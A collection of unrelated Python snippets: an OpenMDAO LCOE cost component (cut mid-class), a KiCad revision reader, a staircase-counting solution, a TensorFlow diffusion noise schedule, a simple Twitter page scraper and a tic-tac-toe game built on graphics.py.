        self.declare_partials(of="LCOE", wrt="Fomega", method = 'fd')
        self.declare_partials(of="LCOE", wrt="Fu", method = 'fd')
        self.declare_partials(of="LCOE", wrt="Pfail", method = 'fd')
        self.declare_partials(of="LCOE", wrt="Egen", method = 'fd')

    def compute(self, inputs, outputs):

        Fom = inputs["Fomega"]
        Fu = inputs["Fu"]

        Egen = inputs["Egen"]
        Pfail = inputs["Pfail"]

        # Efficiency map
        # Effom = np.load('effX.npy')*(pi/30)
        # Effu = np.load('effY.npy')*(2.4)
        # Eff = np.load('Effi.npy')

        # f = interp2d(Effom, Effu, Eff, kind = 'linear')
        # netEff = (1/100)*f(omM, uM)
        netEff = 1

        F = Fom*Fu

        Pmax = 5000

        Pfail = inputs["Pfail"]

        # Add normalized costs
        C1 = 2.5*0.082
        C2 = 0.25*(Pfail/0.065)

        lcoe = (1-F)*netEff*Egen/(C1+C2*Pfail)

        outputs["LCOE"] = lcoe


#!/usr/bin/env python3
import sys

import pcbnew
def get_version(pcb):
    board = pcbnew.LoadBoard(pcb)
    title = board.GetTitleBlock()
    version = title.GetRevision()
    return version

if __name__ == "__main__":
    version = get_version(sys.argv[1])
    print(version)


# You are climbing a staircase. It takes n steps to reach the top.

# Each time you can either climb 1 or 2 steps. In how many distinct ways can you climb to the top?

class Solution:
    def climb_stairs(self, n: int) -> int:
        stairs = [0] * (n + 1)
        stairs[0] = 1
        stairs[1] = 1

        for i in range(2, n + 1):
            stairs[i] = stairs[i - 1] + stairs[i - 2]
        return stairs[n]

if __name__ == '__main__':
    solution = Solution()
    print(solution.climb_stairs(4))


import tensorflow as tf

from abc import ABC, abstractmethod

class DiffusionSchedule(ABC):
    def __init__(self, start_log_snr, end_log_snr):
        assert (
            start_log_snr > end_log_snr
        ), "The starting SNR has to be higher than the final SNR."

        self.start_snr = tf.exp(start_log_snr)
        self.end_snr = tf.exp(end_log_snr)

        self.start_noise_power = 1.0 / (1.0 + self.start_snr)
        self.end_noise_power = 1.0 / (1.0 + self.end_snr)

    def __call__(self, diffusion_times):
        noise_powers = self.get_noise_powers(diffusion_times)

        # the signal and noise power will always sum to one
        signal_powers = 1.0 - noise_powers

        # the rates are the square roots of the powers
        # variance**0.5 -> standard deviation
        signal_rates = signal_powers**0.5
        noise_rates = noise_powers**0.5

        return signal_rates, noise_rates

    @abstractmethod
    def get_noise_powers(self, diffusion_times):
        pass

class CosineSchedule(DiffusionSchedule):
    # noise rate increases sinusoidally
    # signal rate decreases as a cosine function
    # simplified from the "cosine schedule" of Improved DDPM https://arxiv.org/abs/2102.09672
    def get_noise_powers(self, diffusion_times):
        start_angle = tf.asin(self.start_noise_power**0.5)
        end_angle = tf.asin(self.end_noise_power**0.5)

        diffusion_angles = start_angle + diffusion_times * (end_angle - start_angle)
        return tf.sin(diffusion_angles) ** 2


import requests
from lxml import etree

headers = {
    "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
}

if __name__ == '__main__':
    url = "https://twitter.com/search?q=%23BBL10&src=trend_click&vertical=trends"
    response = requests.get(url=url,headers=headers)
    etre = etree.HTML(response.text)
    etr = etre.xpath('//*[@id="react-root"]/div/div/div[2]/main/div/div/div/div/div/div[2]/div/div/section/div/div/div[1]/div/div/article/div')
    print(etr)
    for div in etr:
        print(div)


import random
from graphics import *
window=GraphWin('19290292',300,350)

#XOX game
#graphics.py is a prepared library

R1=Rectangle(Point(0,0),Point(100,100))
R2=Rectangle(Point(100,0),Point(200,100))
R3=Rectangle(Point(200,0),Point(300,100))
R4=Rectangle(Point(0,100),Point(100,200))
R5=Rectangle(Point(100,100),Point(200,200))
R6=Rectangle(Point(200,100),Point(300,200))
R7=Rectangle(Point(0,200),Point(100,300))
R8=Rectangle(Point(100,200),Point(200,300))
R9=Rectangle(Point(200,200),Point(300,300))

R1.draw(window)
R2.draw(window)
R3.draw(window)
R4.draw(window)
R5.draw(window)
R6.draw(window)
R7.draw(window)
R8.draw(window)
R9.draw(window)

write=Text(Point(150,320),'')
write.draw(window)
kare1,kare2,kare3,kare4,kare5,kare6,kare7,kare8,kare9=None,None,None,None,None,None,None,None,None
kareler=[R1,R2,R3,R4,R5,R6,R7,R8,R9]

def random0():
  global kare1, kare2, kare3, kare4, kare5, kare6, kare7, kare8, kare9
  global kareler
  a=random.choice(kareler)
  if a==R1:
      kareler.remove(a)
      Text(a.getCenter(), 'O').draw(window)
      kare1='O'

  elif a==R2:
      kareler.remove(a)
      Text(a.getCenter(), 'O').draw(window)
      kare2 = 'O'

  elif a==R3:
      kareler.remove(a)
      Text(a.getCenter(), 'O').draw(window)
      kare3 = 'O'

  elif a==R4:
      kareler.remove(a)
      Text(a.getCenter(), 'O').draw(window)
      kare4 = 'O'

  elif a==R5:
      kareler.remove(a)
      Text(a.getCenter(), 'O').draw(window)
      kare5 = 'O'

  elif a==R6:
      kareler.remove(a)
      Text(a.getCenter(), 'O').draw(window)
      kare6 = 'O'

  elif a==R7:
      kareler.remove(a)
      Text(a.getCenter(), 'O').draw(window)
      kare7 = 'O'

  elif a==R8:
      kareler.remove(a)
      Text(a.getCenter(), 'O').draw(window)
      kare8 = 'O'

  elif a==R9:
      kareler.remove(a)
      Text(a.getCenter(), 'O').draw(window)
      kare9 = 'O'

def Xkazanma():
    global kare1,kare2,kare3,kare4,kare5,kare6,kare7,kare8,kare9
    if kare1=='X' and kare2=='X' and kare3=='X':
        write.setText('X Wins')
    elif kare4=='X' and kare5=='X' and kare6=='X':
        write.setText('X Wins')
    elif kare7=='X' and kare8=='X' and kare9=='X':
        write.setText('X Wins')
    elif kare1=='X' and kare4=='X' and kare7=='X':
        write.setText('X Wins')
    elif kare2=='X' and kare5=='X' and kare8=='X':
        write.setText('X Wins')
    elif kare3=='X' and kare6=='X' and kare9=='X':
        write.setText('X Wins')
    elif kare1=='X' and kare5=='X' and kare9=='X':
        write.setText('X Wins')
    elif kare3=='X' and kare5=='X' and kare7=='X':
        write.setText('X Wins')

def Okazanma():
    global kare1, kare2, kare3, kare4, kare5, kare6, kare7, kare8, kare9
    if kare1=='O' and kare2=='O' and kare3=='O':
        write.setText('O Wins')
    elif kare4=='O' and kare5=='O' and kare6=='O':
        write.setText('O Wins')
    elif kare7=='O' and kare8=='O' and kare9=='O':
        write.setText('O Wins')
    elif kare1=='O' and kare4=='O' and kare7=='O':
        write.setText('O Wins')
    elif kare2=='O' and kare5=='O' and kare8=='O':
        write.setText('O Wins')
    elif kare3=='O' and kare6=='O' and kare9=='O':
        write.setText('O Wins')
    elif kare1=='O' and kare5=='O' and kare9=='O':
        write.setText('O Wins')
    elif kare3=='O' and kare5=='O' and kare7=='O':
        write.setText('O Wins')

key=''
key2=''
try:
 while True:
    point=window.getMouse()
    xpoint=point.getX()
    ypoint=point.getY()

    if 0<xpoint<100 and 0<ypoint<100:     #R1
        try:
         kareler.remove(R1)
         Text(R1.getCenter(), 'X').draw(window)
         kare1='X'
         if len(kareler)!=0:
          random0()
        except ValueError:
            write.setText('You cannot click the filled squares')

    elif 100<xpoint<200 and 0<ypoint<100: #r2
        try:
          kareler.remove(R2)
          Text(R2.getCenter(), 'X').draw(window)
          kare2='X'
          if len(kareler) != 0:
           random0()
        except ValueError:
            write.setText('You cannot click the filled squares')
    elif 200<xpoint<300 and 0<ypoint<100: #r3
        try:
          kareler.remove(R3)
          Text(R3.getCenter(), 'X').draw(window)
          kare3='X'
          if len(kareler) != 0:
           random0()
        except ValueError:
            write.setText('You cannot click the filled squares')

    elif 0<xpoint<100 and 100<ypoint<200: #R4
        try:
          kareler.remove(R4)
          Text(R4.getCenter(), 'X').draw(window)
          kare4='X'
          if len(kareler) != 0:
           random0()
        except ValueError:
            write.setText('You cannot click the filled squares')

    elif 100<xpoint<200 and 100<ypoint<200: #R5
        try:
          kareler.remove(R5)
          Text(R5.getCenter(), 'X').draw(window)
          kare5='X'
          if len(kareler) != 0:
           random0()
        except ValueError:
            write.setText('You cannot click the filled squares')

    elif 200<xpoint<300 and 100<ypoint<200: #R6
        try:
          kareler.remove(R6)
          Text(R6.getCenter(), 'X').draw(window)
          kare6='X'
          if len(kareler) != 0:
           random0()
        except ValueError:
            write.setText('You cannot click the filled squares')

    elif 0<xpoint<100 and 200<ypoint<300: #R7
        try:
          kareler.remove(R7)
          Text(R7.getCenter(), 'X').draw(window)
          kare7='X'
          if len(kareler) != 0:
           random0()
        except ValueError:
            write.setText('You cannot click the filled squares')

    elif 100<xpoint<200 and 200<ypoint<300: #R8
        try:
          kareler.remove(R8)
          Text(R8.getCenter(), 'X').draw(window)
          kare8='X'
          if len(kareler) != 0:
           random0()
        except ValueError:
            write.setText('You cannot click the filled squares')

    elif 200<xpoint<300 and 200<ypoint<300:   #R9
        try:
          kareler.remove(R9)
          Text(R9.getCenter(),'X').draw(window)
          kare9='X'
          if len(kareler) != 0:
           random0()
        except ValueError:
                write.setText('You cannot click the filled squares')

    Xkazanma()

    if write.getText()=='X Wins':
       while True:
        key = window.getKey()
        if key == 'q':
            window.close()

    Okazanma()

    if write.getText()=='O Wins':
      while True:
        key = window.getKey()
        if key == 'q':
            window.close()

    if len(kareler)==0:
      write.setText('Draw!')
      while True:
        key2 = window.getKey()
        if key2 == 'q':
            window.close()
except:
   pass